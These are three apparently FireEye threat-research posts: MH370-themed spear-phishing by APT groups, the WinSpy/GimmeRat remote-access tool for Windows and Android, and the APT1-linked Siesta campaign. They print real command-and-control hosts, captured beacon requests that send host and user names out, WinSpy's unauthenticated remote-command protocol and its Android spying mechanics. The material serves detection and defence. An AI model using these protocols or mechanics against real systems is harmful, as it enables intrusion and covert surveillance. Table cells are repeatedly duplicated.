      Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370

      While many advanced persistent threat (APT) groups have increasingly embraced strategic Web compromise as a malware delivery vector, groups also continue to rely on spear-phishing emails that leverage popular news stories. The recent tragic disappearance of flight MH 370 is no exception. This post will examine multiple instances from different threat groups, all using spear-phishing messages and leveraging the disappearance of Flight 370 as a lure to convince the target to open a malicious attachment.

      “Admin@338” Targets an APAC Government and U.S. Think Tank

      The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.

      The attachment dropped a Poison Ivy variant into the path C:\DOCUME~1\admin\LOCALS~1\Temp\kav.exe (MD5: 9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound to www.verizon.proxydns[.]com. This Poison Ivy variant was configured with the connection password “wwwst@Admin.” The APT group we refer to as Admin@338 has previously used Poison Ivy implants with this same password. We document the Admin@338 group’s activities in our Poison Ivy: Assessing Damage and Extracting Intelligence paper. Further, the domain www.verizon.proxydns[.]com previously resolved to the following IP addresses that have also been used by the Admin@338 group:

      IP Address First Seen Last Seen
      103.31.241.110 103.31.241.110 2013-08-27 2013-08-27 2013-08-28 2013-08-28
      174.139.242.19 174.139.242.19 2013-08-28 2013-08-28 2013-08-31 2013-08-31
      58.64.153.157 58.64.153.157 2013-09-03 2013-09-03 2014-03-07 2014-03-07
      59.188.0.197 59.188.0.197 2014-03-07 2014-03-07 2014-03-19 2014-03-19

      A second targeted attack attributed to the same Admin@338 group was sent to a prominent U.S.-based think tank on March 14, 2014. This spear phish contained an attachment that dropped “Malaysian Airlines MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97). The malware sample was crafted to appear as though it was a Flash video, by binding a Flash icon to the malicious executable.

      mh3701

      Interestingly, in this case, the malware sets its persistence in the normal “Run” registry location, but it tries to auto start the payload from the disk directory “c:\programdata”, which doesn’t exist until Windows 7, so a simple reboot would mitigate this threat on Windows XP. This suggests the threat actors did not perform quality control on the malware or were simply careless. We detect this implant as Backdoor.APT.WinHTTPHelper. The Admin@338 group discussed above has used variants of this same malware family in previous targeted attacks.

      This specific implant beacons out to dpmc.dynssl[.]com:443 and www.dpmc.dynssl[.]com:80. The domain dpmc.dynssl[.]com resolved to the following IPs:

      IP Address First Seen Last Seen
      31.193.133.101 31.193.133.101 2013-11-01 2013-11-01 2013-11-29 2013-11-29
      58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08
      59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-17 2014-03-17
      139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19

      The www.dpmc.dynssl[.]com domain resolved to following IPs:

      IP Address First Seen Last Seen
      31.193.133.101 31.193.133.101 2013-10-30 2013-10-30 2013-11-29 2013-11-29
      58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08
      59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-18 2014-03-18
      139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19

      Note that the www.verizon.proxydns[.]com domain used by the Poison Ivy discussed above also resolved to both 58.64.153.157 and 59.188.0.197 during the same time frame as the Backdoor.APT.WinHTTPHelper command and control (CnC) located at dpmc.dynssl[.]com and www.dpmc.dynssl[.]com.

      In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild. Other threat groups likely sent these other documents.

      The Naikon Lures

      On March 9, 2014, a malicious executable entitled the “Search for MH370 continues as report says FBI agents on way to offer assistance.pdf .exe“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen circulating in the wild. This sample beacons to the CnC net.googlereader[.]pw:443. We have identified this sample, via forensic analysis, as Backdoor.APT.Naikon.

      It uses a standard technique of changing its icon to make it appear to be a PDF, in order to lend to its credibility. This same icon, embedded as a PE Resource, has been used in the following recent samples:

      mh3702

      MD5 Import hash CnC Server
      fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.]net ecoh.oicp[.]net
      018f762da9b51d7557062548d2b91eeb 018f762da9b51d7557062548d2b91eeb e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 orayjue.eicp[.]net orayjue.eicp[.]net
      fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.]net:443 ecoh.oicp[.]net:443
      498aaf6df71211f9fcb8f182a71fc1f0 498aaf6df71211f9fcb8f182a71fc1f0 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f xl.findmy[.]pw xl.findmy[.]pw
      a093440e75ff4fef256f5a9c1106069a a093440e75ff4fef256f5a9c1106069a a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f xl.findmy[.]pw xl.findmy[.]pw
      125dbbb742399ec2c39957920867ee60 125dbbb742399ec2c39957920867ee60 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f uu.yahoomail[.]pw uu.yahoomail[.]pw
      52408bffd295b3e69e983be9bdcdd6aa 52408bffd295b3e69e983be9bdcdd6aa a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f net.googlereader[.]pw net.googlereader[.]pw

      This malware leverages “pdfbind” to add a PDF into itself, as can be seen in the debugging strings, and when launched, the malware also presents a decoy document to the target:

      mh3703

      The Plat1 Lures

      On March 10, 2014, we observed another sample that exploited CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5: 4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370 Flight Personnel Identity Information”. The malware that is dropped by the malicious Word document, which we detect as Trojan.APT.Plat1, begins to beacon to 59.188.253.216 via TCP over port 80. The decoy document opened after exploitation is blank. The malicious document dropped the following implants:

      C:\Documents and Settings\Administrator\Application Data\Intel\ResN32.dll (MD5: 2437f6c333cf61db53b596d192cafe64)

      C:\Documents and Settings\Administrator\Application Data\Intel\~y.dll (MD5: d8540b23e52892c6009fdd5812e9c597)

      The implants dropped by this malicious document both included unique PDB paths that can be used to find related samples. These paths were as follows:

      E:\Work\T5000\T5 Install\ResN\Release\ResN32.pdb

      F:\WORK\PROJECT\T5 Install\InstDll\Release\InstDll.pdb

      This malware family was also described in more detail here.

      The Mongall/Saker Lures

      Another sample leveraging the missing airliner theme was seen on March 12, 2014. The malicious document exploited CVE-2012-0158 and was titled, “Missing Malaysia Airlines Flight 370.doc” (MD5: 467478fa0670fa8576b21d860c1523c6). Although the extension looked like a Microsoft Office .DOC file, it was actually an .HTML Application (HTA) file. Once the exploit is successful, the payload makes itself persistent by adding a Windows shortcut (.LNK) file pointing to the malware in the “Startup” folder in the start menu. It beacons outbound to comer4s.minidns[.]net:8070. The network callback pattern, shown below, is known by researchers as “Mongall” or “Saker”:

      GET /3010FC080[REDACTED] HTTP/1.1

      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wis NT 5.0; .NET CLR 1.1.4322)

      Host: comer4s.minidns.net:8070

      Cache-Control: no-cache

      The sample also drops a decoy file called “aa.doc” into the temp folder and displays the decoy content shown below:

      mh3704

      The “Tranchulas” Lures

      On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked by Pakistan.zip” was sent as a ZIP file (MD5: 7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876). The ZIP file was hosted on 199.91.173.43. This IP address was previously used to host malicious files.

      The screen saver file drops “winservice.exe” (MD5: 828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to 199.91.173.45. This IP address was previously used to host a file entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).

      The initial beacon to the command-and-control server is as follows:

      POST /path_active.php?compname=[HOSTNAME]_[USERNAME] HTTP/1.1

      Host: 199.91.173.45

      Accept: */*

      Content-Length: 11

      Content-Type: application/x-www-form-urlencoded

      This same control server was used in previous activity.

      The Page Campaign

      A final malicious document was seen abusing the missing Flight 370 story on March 18, 2014. This document exploited CVE-2012-0158 and was entitled “MH370 PM statement 15.03.14 - FINAL.DOC” (MD5: 5e8d64185737f835318489fda46f31a6). This document dropped a Backdoor.APT.Page implant and connected to 122.10.89.85 on both port 80 and 443. The initial beacon traffic over port 80 is as follows:

      GET /18110143/page_32180701.html HTTP/1.1

      Accept: */*

      Cookie: XX=0; BX=0

      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)

      Host: 122.10.89.85

      Connection: Keep-Alive

      Cache-Control: no-cache

      Pragma: no-cache

      Conclusion

      While many APT actors have adopted strategic Web compromise as a delivery vector, it is apparent that spear phishing via email-based attachments or links to zip files remain popular with many threat actors, especially when paired with lures discussing current media events. Network defenders should incorporate these facts into their user training programs and be on heightened alert for regular spear-phishing campaigns, which leverage topics dominating the news cycle.

      Acknowledgement: We thank Nart Villeneuve and Patrick Olsen for their support, research, and analysis on these findings.

      From Windows to Droids: An Insight in to Multi-vector Attack Mechanisms in RATs

      FireEye recently observed a targeted attack on a U.S.-based financial institution via a spear-phishing email. The payload used in this campaign is a tool called WinSpy, which is sold by the author as a spying and monitoring tool. The features in this tool resemble that of many other off-the-shelf RATs (Remote Administration Tools) available today. We also observed a second campaign by a different attacker where the WinSpy payload was implanted in macro documents to attack various other targets in what appears to be a spam campaign.

      The command-and-control (CnC) infrastructure used in the attack against the financial institution is owned and controlled by author of WinSpy. This does not necessarily mean the author is behind attack as the author provides the use of his server for command and control as well as to store the victim data as the default option in the WinSpy package. This feature allowing shared command-and-control infrastructure advertently or inadvertently provides another level of anonymity and deniability for the attacker.

      While analyzing the windows payloads for WinSpy we discovered that it also had Android spying components, which we have dubbed GimmeRat. The Android tool has multiple components allowing the victim’s device to be controlled by another mobile device remotely over SMS messages or alternatively through a Windows-based controller. The Windows-based controller is simplistic and requires physical access to the device. The recent surge in Android-based RATs such as Dendroid and AndroRAT shows a spike in the interest of malicious actors to control mobile devices. GimmeRAT is another startling example of malicious actors venturing into the Android ecosystem.

      Attacks Employing WinSpy

      While the WinSpy tool is being sold as a spying and monitoring tool for home users, its remote administration capabilities fits the bill for an adversary looking to infiltrate a target or organization. This tool also adds another layer of anonymity for the attacker by using the default command-and-control server provided as part of the WinSpy package.

      Figure 1 - Mechanism of attack on financial institution employing WinSpy

      The attack targeting a U.S. financial institution arrives via a spear-phishing email. The attachment (b430263181959f4dd681e9d5fd15d2a0) in the email is a large NSIS packed file, which when detonated launches a screenshot of a pay slip as decoy to avert the attention of the victim. It also drops and launches various components as seen in Figure 1 and Figure 2.

      Figure 2 - Components of WinSpy

      We observed a second attacker using WinSpy in macro documents (78fc7bccd86c645cc66b1a719b6e1258, f496bf5c7bc6843b395cc309da004345) as well as standalone executables (8859bbe7f22729d5b4a7d821cfabb044, 2b19ca87739361fa4d7ee318e6248d05). These arrive either as an attachment or as a link to the payload in emails. The documents had the unique metadata shown below:

      File Type                       : XLS

      MIME Type                    : application/vnd.ms-excel

      Author                          : MR. FRANK

      Last Modified By              : MR. FRANK

      Software                        : Microsoft Excel

      Create Date                    : 2012:02:07 10:41:21

      Modify Date                     : 2012:02:07 10:41:29

      Security                          : None

      Code Page                       : Windows Latin 1 (Western European)

      Company                         : USER

      App Version                     : 11.5606

      The email attacks were found to have attachment names such as

      Western Union Slip.xls
      
      Money Transfer Wumt.xls
      
      Wumt.xls
      

      Windows Components

      The WinSpy modules are written in Visual Basic and use some freely available libraries such as modJPEG.bas and cJpeg.cls . The components each support various features as shown below.

      Feature Component
      Webcam monitoring Webcam monitoring RDS.exe RDS.exe
      Screen capture & JPEG Encoder Screen capture & JPEG Encoder RDS.exe RDS.exe
      Connectivity check Connectivity check RDS.exe RDS.exe
      Send Victim information to CnC Send Victim information to CnC RDS.exe RDS.exe
      FTP exfiltration FTP exfiltration RDS.exe RDS.exe
      Status Report to CnC Status Report to CnC windns.exe windns.exe
      Email/FTP exfiltration Email/FTP exfiltration windns.exe windns.exe
      AV Find and Kill AV Find and Kill windns.exe windns.exe
      Auto configure firewall Auto configure firewall windns.exe windns.exe
      Keylogging and reports Keylogging and reports messenger.exe messenger.exe
      Backdoor for remote interaction Backdoor for remote interaction rdbms.exe rdbms.exe
      Microphone recording Microphone recording rdbms.exe rdbms.exe
      Upload/download/execute files Upload/download/execute files rdbms.exe rdbms.exe
      File system browser File system browser rdbms.exe rdbms.exe
      Execute remote commands Execute remote commands rdbms.exe rdbms.exe
      Send messages to remote machine Send messages to remote machine rdbms.exe rdbms.exe

      The WinSpy malware creates its configuration in the registry under "SOFTWARE\MSI64" as shown in Figure 2. The various components of WinSpy read this configuration at runtime. This configuration dictates various settings such as the username, unique identifier, connection parameters, remote FTP server and credentials, filename and path for captured data, current status, etc. The various options in the configuration are abbreviations. For example "DUNIN" stands for date to uninstall, "FTSV" stands for FTP server, "FTUS" stands for FTP user, and so forth. The "SID2" value is a unique ID used to identify the infection and is generated at build time.

      Figure 3 - WinSpy Configuration

      The WinSpy controller has options to create a new remote file allowing you to choose various parameters and exfiltration options. The author interestingly allows for default command and control and exfiltration options to a server he controls.

      Figure 4 - WinSpy Builder

      The controller has options to retrieve screenshots, keylogs, and various reports from the victim’s machine. It also has the ability to interact with file system to upload and download files as well as execute new payloads.

      Figure 5 - WinSpy Controller
       
       


       
       
      Figure 6 - WinSpy File Browser

      Command and Control

      The WinSpy payloads have multiple communication methods for reporting status, attacker interaction, and data exfiltration each of which are described below.

      Method 1 - I am online :

      It reports back to the authors server on port 14001 to report the victim's online status with "/P" and it receives the same command in response to acknowledge.

      Figure 7 - Online Status

      Method 2 - Victim Information:

      It also reports back to the WinSpy author’s server on port 27171 using a secondary protocol shown below. The request contains the victim’s IP address as well as unique identifier generated at build time of the payload. The server responds with a keep alive in response to this request.

      Figure 8 - Victim Information
      Figure 9 - Victim information

      Method 3 - SMTP Exfiltration:

      It relays keylog data through SMTP if configured. It relays emails through an SMTP server running on port 37 on the WinSpy author’s server using preconfigured authentication parameters. Port 37 is typically used by NTP protocol but in this case the author has reconfigured it for SMTP relay. The X-Mailer "SysMon v1.0.0" sticks out like a sore thumb.

      Figure 10 - SMTP Exfiltration

      Method 4 - FTP Exfiltration:

      If configured with a custom FTP server, the WinSpy payload will upload all intercepted data and report to the remote server periodically. The FTP credentials are stored in the registry configuration discussed earlier.

      Method 5 - Direct Interaction:

      The rdbms.exe module listens on port 443 on the victim’s machine. The attacker can directly connect to this port from the WinSpy controller and issue various commands to download captured data, upload/download files, execute files, send messages, view webcam feeds, etc. Any required data transfer is done over Port 444. It supports various commands, the significant ones are shown below. The initial connection commands shows that the author plans to implement authentication at some point in time but as it stands now anyone can connect to an infected instance using this command.

      Command Description
      /CLUserName.Password. /CLUserName.Password. Initialize connection from controller Initialize connection from controller
      /CK /CK Acknowledge Acknowledge
      /CB{OptionalPath} /CB{OptionalPath} Enumerates all files in root dir or specified path Enumerates all files in root dir or specified path
      /CU{FilePath} /CU{FilePath} Uploads specified File Uploads specified File
      /CD{FilePath} /CD{FilePath} Downloads file from specified path Downloads file from specified path
      /CD \\\KEYLOGS /CD \\\KEYLOGS Download keylogs Download keylogs
      /CD \\\WEBSITED /CD \\\WEBSITED Download websites visited detail report Download websites visited detail report
      /CD \\\WEBSITES /CD \\\WEBSITES Download websites visited summary report Download websites visited summary report
      /CD \\\ONLINETIME /CD \\\ONLINETIME Download online time report Download online time report
      /CD \\\CHATROOM /CD \\\CHATROOM Download chat logs Download chat logs
      /CD \\\PCACTIVETIME /CD \\\PCACTIVETIME Download PC active time report Download PC active time report
      /RF{FilePath} /RF{FilePath} Execute remote file in specified path Execute remote file in specified path
      /WO & /WE /WO & /WE Webcam init and enable Webcam init and enable
      /SO /SO Start microphone recording Start microphone recording
      /AR{Command} /AR{Command} Run command on remote machine Run command on remote machine
      /AM{Message} /AM{Message} Sends message to remote machine Sends message to remote machine

      Android Components

      In the process of investigating the Windows modules for WinSpy we also discovered various Android components that can be employed to engage in surveillance of a target. We have found three different applications that are a part of the surveillance package. One of the applications requires commandeering via a windows controller and requires physical access to the device while the other two applications can be deployed in a client-server model and allow remote access through a second Android device.

      Figure 11 - Deployment Scenarios for Android Components

       Windows Physical Controller:

      The Windows controller requires physical access to the device and allows the attacker to retrieve screenshots from the infected device. This component is designed to target a victim in physical proximity. The various options available in the Windows controller are shown in Figure 12 below.

      Figure 12 - Windows Controller for Android Device

       

      The functionality and structure of the components on the victim’s device are described below in detail.

      Component 1 -  GlobalService.apk

       

      Components:
      
                a. Services
      
                          Global Service
      
                b. Methods
      
                          Sleeper
      
                          ScreenCapturer
      
                          ServiceActivity
      

      Main activity

      The app is started with an intent that is provided from the desktop android executable. The intent is a "com.google.system.service.StartUpReceiver" intent with the extra field of "interval" which holds a string of the form

      “interval@@hostname@@port@@username@@password@@working_directory@@delete_after_upload”

      The hostname, port, username, and password are used to connect to the attackers' FTP server to send screenshots, which is explained, in a later section. Once this intent is received the GlobalService is restarted with the interval parameter..

      GlobalService

      This service contains the following variables

               private static final String TAG = "GlobalService";
      
               private static boolean isScreenON;
      
               private int mInterval;
      
               private KeyguardManager mKeyGaurdManager;
      
               private BroadcastReceiver mPowerKeyReceiver;
      
               private Timer mSyncTimer;
      
               private TimerTask mSyncTimerTask;
      

      It goes on to check the value of the isScreenON variable. If the screen is on and if the keyguard has been unlocked, it calls the startScreenCaptureThread() method.

      The startScreenCaptureThread method sets the value of the mInterval variable to the value of interval passed to GlobalService. It also sets the properties of the mSyncTimerTask to point to the takeScreenshot method from the ScreenCapturer class such that the thread, when invoked, will take a screenshot every ‘interval’ number of seconds.

      The takeScreenshot method in the ScreenCapturer class connects to a native service using a local socket. It connects to port 42345 on localhost. The native service, which is listening on the same port, accepts strings on the socket.

      The takeScreenshot method sends a string of the form ‘/data/local/tmp/images/screenshot_DATE.png’ to the underlying native service. The native service checks for the string after the last trailing slash “/”, “screenshot” after the last trailing slash will cause the native service to take a screenshot by issuing the “screencap –p” method. The screenshot taken will be written to the path specified by the string passed as an argument.

      The takeScreenshot method then returns the path of the image to the screenCaptureThread which calls the FTPService thereby uploading the screenshot to the attackers CnC server.

      Component 2 - GlobalNativeService

      The native services listens on a local socket for commands from the GlobalService.apk.

      As seen above, if the string after the last trailing slash is “screenshot_” is sent to the Native service through the socket. It runs the command “screencap –p” on the shell of the device and captures a screenshot of the infected device.

      The native service also implements other functionality such as deleting a file, saving FTP information to /data/local/tmp/ftpInformation.

      If the string “GPSLocationInfo” is sent to the native service on the local socket, it creates GPSLocations.txt at /data/local/tmp/GPSLocations.txt but does not save the current GPS location. This perhaps indicates an upcoming feature.

      Android Remote Controller

      Component 1 - GPSTracker.apk 

      The startup routine for the GPSTracker class is exactly the same as the one for GlobalService class. It gets the value from an "StartGPSTracker" intent which holds the value for an 'interval' variable as an integer. This app records the GPS location of the device at regular intervals (5 minutes). It records the location only if the previous location is 200 meters apart from the current location.

      When a location has to be added to the database all previous locations are deleted. Therefore it only maintains the last known location.

      This app monitors all incoming messages. If an SMS with "[gmyl]"(Short for (g)ive (m)e (y)our (l)ocation) at the beginning arrives on the device, the corresponding SMS_RECEIVED intent is aborted and the database is queried. A response SMS is crafted as shown below:

      "[himl]<>DATE><LATITUDE##LONGTITUDE"

      The string “himl” is short for (h)ere (i)s (m)y (l)ocation. Only the last known location is sent as a response to the user.

      Component 2 - GPSTrackerClient.apk

      This app acts as the controller to the GPSTracker.apk. While the GPSTracker.apk is installed on the victim's device, the GPSTrackerClient.apk is installed on the device from which the monitoring takes place. It takes the phone number of the phone to be tracked and sends it an SMS that contains "[gmyl]". The GPSTracker.apk then responds with the location in an SMS message as described in the above section. It then uses the native maps functionality, i.e., Google Maps, to point to the location sent by GPSTracker.

      It is also worthwhile to note that the two modules do not authenticate each other by any means therefore it allows anyone infected with GPSTracker.apk to be controlled just by sending SMS messages with a given structure.

      Conclusion

      These attacks and tools reaffirm that we live in an age of digital surveillance and intellectual property theft. Off-the-shelf RATs have continued to proliferate over the years and attackers have continued to increasingly use these tools. With the widespread adoption of mobile platforms such as Android, a new market continues to emerge with the demand for RATs to support these platforms. We will continue to see more implementations of RATs and payloads to support multiple platforms and attackers will continue to take advantage of these new attack surfaces to infiltrate their targets.

      A Detailed Examination of the Siesta Campaign

      Executive Summary

      FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1.

      The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

      Overview

      On March 6, 2014 TrendMicro reported on the Siesta Campaign. Though not explicitly stated in this report, the tactics, techniques and procedures (TTPs) described in this report share a number of characteristics with historical activity we’ve attributed to APT1 (also known as the “Comment Crew”).

      We witnessed this same campaign targeting a customer in the telecommunications sector on Feb. 20, 2014, using a spear-phishing message with a link to ifuedit[.]net/Healthcare_Questionnaire.zip. This zip file contained a malicious executable with the following properties:

      MD5 61249bf64fa270931570b8a5eba06afa
      Compile Time 2014-02-20 02:28:21
      .text 39e9e4eac77a09b915626f315b963a4f
      .rdata a126c8c7c50bf034f2d3ba4aa5bcab28
      .data bb95154b5aeb13a4ff937afa2e7e4560
      .rsrc edf3a1e142fc212da11dc72698184ad5
      Import Hash 20ff5087740eabff5bdbdf99d9fb6853

      This sample initiated a callback to www[.]microsofthomes[.]com/index.html.

      This same import hash was seen in the following samples:

      MD5 Compile Time Command-and-Control (CnC) server
      68f73d81c814ab2f70eed02c0be3b67d 68f73d81c814ab2f70eed02c0be3b67d 2014-02-20 02:26:24 2014-02-20 02:26:24 www[.]microsofthomes[.]com www[.]microsofthomes[.]com
      20b124baaaec1e8cbc3cd52e8e5ceebd 20b124baaaec1e8cbc3cd52e8e5ceebd 2014-02-20 02:26:24 2014-02-20 02:26:24 www[.]microsofthomes[.]com www[.]microsofthomes[.]com

      Techniques, tactics, and procedures analysis

      The TTPs described above are consistent with APT1. This group previously relied on establishing a foothold in targeted networks with following methods:

      • Spear-phishing emails with links to archives
      • Callback traffic to a legitimate-looking webpage

      Analysis of Related Samples

      A related dropper listed in the TrendMicro report on the Siesta campaign is MD5 0f3031412d255336a102bbc1dcd43812. This sample had the following properties:

      MD5 0f3031412d255336a102bbc1dcd43812
      Compile Time 2014-02-19 09:29:04
      .text a2e11e9c8b07888345d6cdf7d995b832
      .rdata 0203cc3bb607e9cfa296fa857b243468
      .data 7d281bd27bc1279428bd1798671eb57b
      .rsrc caa869fa01ddfee26156166a10c42944
      Import Hash 0fefba40443edd57f816502035077e3e

      The import hash of 0fefba40443edd57f816502035077e3e is in other samples linked to the Siesta campaign including:

      MD5 Compile Time CnC
      643654975b63a9bb6f597502e5cd8f49 643654975b63a9bb6f597502e5cd8f49 2014-01-14 04:38:30 2014-01-14 04:38:30 www[.]cloudcominc[.]com www[.]cloudcominc[.]com
      0f3031412d255336a102bbc1dcd43812 0f3031412d255336a102bbc1dcd43812 2014-02-19 09:29:04 2014-02-19 09:29:04 www[.]skyslisten[.]com www[.]skyslisten[.]com

      The import hash from this dropper was also seen in a number of previous APT1 samples dating as far back as 2011 — well before the release of the APT1 report. We previously discussed the value of tracking via import hashing here. Other APT1 samples with this same import hash include (but are not limited to):

      MD5 Compile Time CnC
      719453b4da6d3814604c84a28d4d1f4c 719453b4da6d3814604c84a28d4d1f4c 2011-06-16 12:54:20 2011-06-16 12:54:20 www[.]stapharrest[.]com www[.]stapharrest[.]com
      93a6e9a26924a5cdab8ed47cadbe88d5 93a6e9a26924a5cdab8ed47cadbe88d5 2012-01-18 13:35:54 2012-01-18 13:35:54 www[.]offerdahls[.]com www[.]offerdahls[.]com
      c2aadd6a69a775602d984af64eaeda96 c2aadd6a69a775602d984af64eaeda96 2012-05-15 09:02:25 2012-05-15 09:02:25 www[.]bluecoate[.]com www[.]bluecoate[.]com
      1df0b937239473df0187063392dae028 1df0b937239473df0187063392dae028 2012-06-20 09:25:31 2012-06-20 09:25:31 www[.]billyjoebobshow[.]com www[.]billyjoebobshow[.]com
      55065f1b341e5b095b6d453923d5654d 55065f1b341e5b095b6d453923d5654d 2012-07-12 09:21:17 2012-07-12 09:21:17 184.82.164.104 184.82.164.104
      65502e91e3676cf30778a7078f1061de 65502e91e3676cf30778a7078f1061de 2012-07-19 09:31:42 2012-07-19 09:31:42 www[.]billyjoebobshow[.]com www[.]billyjoebobshow[.]com
      287113e4423813efd242af8e6255f680 287113e4423813efd242af8e6255f680 2012-07-24 05:53:22 2012-07-24 05:53:22 thales[.]myftp[.]info thales[.]myftp[.]info
      d613d40d5402f58d8952da2c24d1a769 d613d40d5402f58d8952da2c24d1a769 2012-09-27 12:46:20 2012-09-27 12:46:20 www[.]billyjoebobshow[ www[.]billyjoebobshow[
      57a4c6236b4ecf96d31258e5cc6f0ae4 57a4c6236b4ecf96d31258e5cc6f0ae4 2013-01-07 07:43:14 2013-01-07 07:43:14 manslist[.]loopback[.]nu manslist[.]loopback[.]nu
      e5a4ec0519c471b5be093aee5c33b1ee e5a4ec0519c471b5be093aee5c33b1ee 2013-01-08 07:34:59 2013-01-08 07:34:59 www[.]whackcard[.]com www[.]whackcard[.]com
      f822a9e08b51c19a154dfb63ee9b8367 f822a9e08b51c19a154dfb63ee9b8367 2013-01-10 07:50:58 2013-01-10 07:50:58 technology[.]acmetoy[.]com technology[.]acmetoy[.]com

      Further, the 0f3031412d255336a102bbc1dcd43812 sample dropped a backdoor with the MD5 hash 185e930a19ad1a99c226d59ef563e28c. This implant was stored as a resource within the dropper, and it contained a custom base64 alphabet of oWXYZabcdefghijkl123456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz. This custom alphabet was used by the malware to decode commands issued by the attacker to the victim machine and to Base64 encode the reverse shell from the victims back to the CnC server.This same custom alphabet has been used in previous APT1 samples including (but not limited to):

      MD5 Compile Time CnC
      736ebc9b8ece410aaf4e8b60615f065f 736ebc9b8ece410aaf4e8b60615f065f 2003-05-15 08:58:48 2003-05-15 08:58:48 www[.]comtoway[.]com www[.]comtoway[.]com
      ac87816b9a371e72512d8fd82f61c737 ac87816b9a371e72512d8fd82f61c737 2006-09-14 02:28:46 2006-09-14 02:28:46 www[.]mwa[.]net www[.]mwa[.]net
      173cd315008897e56fa812f2b2843f83 173cd315008897e56fa812f2b2843f83 2006-09-14 02:28:46 2006-09-14 02:28:46 www[.]deebeedesigns[.]ca www[.]deebeedesigns[.]ca
      513644c57688b70860d0b9aa1b6cd0d7 513644c57688b70860d0b9aa1b6cd0d7 2010-12-17 03:24:13 2010-12-17 03:24:13 69.90.65.240 69.90.65.240
      fdf6bf1973af8ab130fbcaa0914b4b06 fdf6bf1973af8ab130fbcaa0914b4b06 2012-05-10 08:41:35 2012-05-10 08:41:35 www[.]woodagency[.]com www[.]woodagency[.]com
      682bfed6332e210b4f3a91e5e8a1410b 682bfed6332e210b4f3a91e5e8a1410b 2012-05-15 03:17:04 2012-05-15 03:17:04 www[.]oewarehouse[.]com www[.]oewarehouse[.]com
      fb7a74a88eead4d39a58cc7b6eede4ce fb7a74a88eead4d39a58cc7b6eede4ce 2013-08-01 18:23:07 2013-08-01 18:23:07 www[.]mwa[.]net www[.]mwa[.]net

      Executable (PE) resource with PDF icon Table

      MD5 Compile Time CnC
      719453b4da6d3814604c84a28d4d1f4c 719453b4da6d3814604c84a28d4d1f4c 2011-06-16 12:54:20 2011-06-16 12:54:20 www[.]drgeorges[.]com www[.]drgeorges[.]com
      854cb8ba3b2d3058239a7ba6a427944a 854cb8ba3b2d3058239a7ba6a427944a 2011-08-17 00:31:27 2011-08-17 00:31:27 meeting[.]toh[.]info meeting[.]toh[.]info
      a049b8ec51c0255dec734c7ba5641af3 a049b8ec51c0255dec734c7ba5641af3 2011-08-17 00:31:27 2011-08-17 00:31:27 meeting[.]toh[.]info meeting[.]toh[.]info
      0725a1819a58e988b939f06e53990254 0725a1819a58e988b939f06e53990254 2011-08-17 00:31:27 2011-08-17 00:31:27 google.ninth.biz google.ninth.biz
      0fdffd4f5730bdd37f2f082bf396064a 0fdffd4f5730bdd37f2f082bf396064a 2011-08-11 09:35:24 2011-08-11 09:35:24 homepage[.]longmusic[.]com homepage[.]longmusic[.]com
      e476e4a24f8b4ff4c8a0b260aa35fc9f e476e4a24f8b4ff4c8a0b260aa35fc9f 2012-06-09 13:19:49 2012-06-09 13:19:49 www[.]heliospartners[.]com www[.]heliospartners[.]com
      d613d40d5402f58d8952da2c24d1a769 d613d40d5402f58d8952da2c24d1a769 2012-09-27 12:46:20 2012-09-27 12:46:20 www[.]billyjoebobshow[.]com www[.]billyjoebobshow[.]com
      f822a9e08b51c19a154dfb63ee9b8367 f822a9e08b51c19a154dfb63ee9b8367 2013-01-10 07:50:58 2013-01-10 07:50:58 technology[.]acmetoy[.]com technology[.]acmetoy[.]com

